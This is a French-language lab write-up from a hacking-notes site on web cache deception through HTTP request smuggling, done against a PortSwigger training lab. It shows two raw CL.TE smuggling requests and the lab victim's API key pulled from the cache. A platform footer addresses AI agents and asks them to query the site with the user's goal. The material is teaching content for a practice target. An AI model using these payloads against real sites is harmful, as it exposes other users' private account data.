> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# Tromperie du cache Web via contrebande de requêtes HTTP

Notes sur la tromperie du cache Web via contrebande de requêtes HTTP pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Exploiter la contrebande de requêtes HTTP pour réaliser une tromperie du cache Web

Ce laboratoire comporte un serveur frontal et un serveur arrière. Le serveur frontal ne prend pas en charge l'encodage fragmenté et met en cache certaines ressources statiques.

L'objectif est de réaliser une attaque de contrebande de requêtes afin que la prochaine requête envoyée par une victime provoque l'enregistrement de sa clé API dans le cache. Vous devrez ensuite récupérer cette clé API dans le cache et la soumettre pour valider le laboratoire. / Il est nécessaire d'attendre **30 secondes** après avoir accédé au laboratoire avant d'essayer de piéger la victime.

Vous pouvez vous connecter à votre propre compte avec : **wiener:peter**

#### **Notes**

* Même si le laboratoire prend en charge HTTP/2, la solution repose sur des techniques qui ne peuvent être mises en œuvre qu'en HTTP/1. Il est possible de changer le protocole dans Burp Repeater depuis la section Request attributes de l'inspecteur.
* Le laboratoire simule l'activité d'un utilisateur victime. Après quelques requêtes POST envoyées par l'attaquant, la victime en effectuera une elle aussi. Il est parfois nécessaire de répéter l'attaque pour synchroniser correctement la séquence.

#### **Analyse comportementale**

Dans le panneau Mon compte, vous avez votre propre clé API.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5dcca325f465fbbfd79e3860eb7ca09aedbe29%2F%7B27ED4ED1-1CA7-4A7D-8E19-E44EB1411C8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

On observe que le `tracking.js` fichier est mis en cache pendant **30 secondes**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48195e791e5e08c3571ae13a2c150e4c9f61b2dc%2F%7B718A07ED-FD8B-40BF-88C3-D1DBF8044AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Test initial**

En envoyant la requête incorrecte suivante :

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Test : A
```

Nous obtenons une réponse **404**, ce qui confirme un comportement exploitable.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-957fe4d7e74fa2c8fcf0bf8438191c85dd4382c7%2F%7BECE9AB42-5F91-41E3-9C65-F42C0F73B745%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Contrebande ciblée vers /my-account**

Une requête détournée pour `/my-account` est ensuite préparée :

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Test : A
```

Lorsque la victime envoie sa propre requête après notre injection, la réponse contenant \*\* sa clé API\*\* est stockée dans le cache au lieu de `tracking.js` fichier.

#### **Résultat**

Lorsque vous chargez la ressource mise en cache, la clé API de l'administrateur apparaîtra :

```
Votre clé API est : WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f19056b0bbf841e807ed66346f4af0cd4973e8fd%2F%7BC82E9E26-D383-4D26-B1A0-EF2A836FD52A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
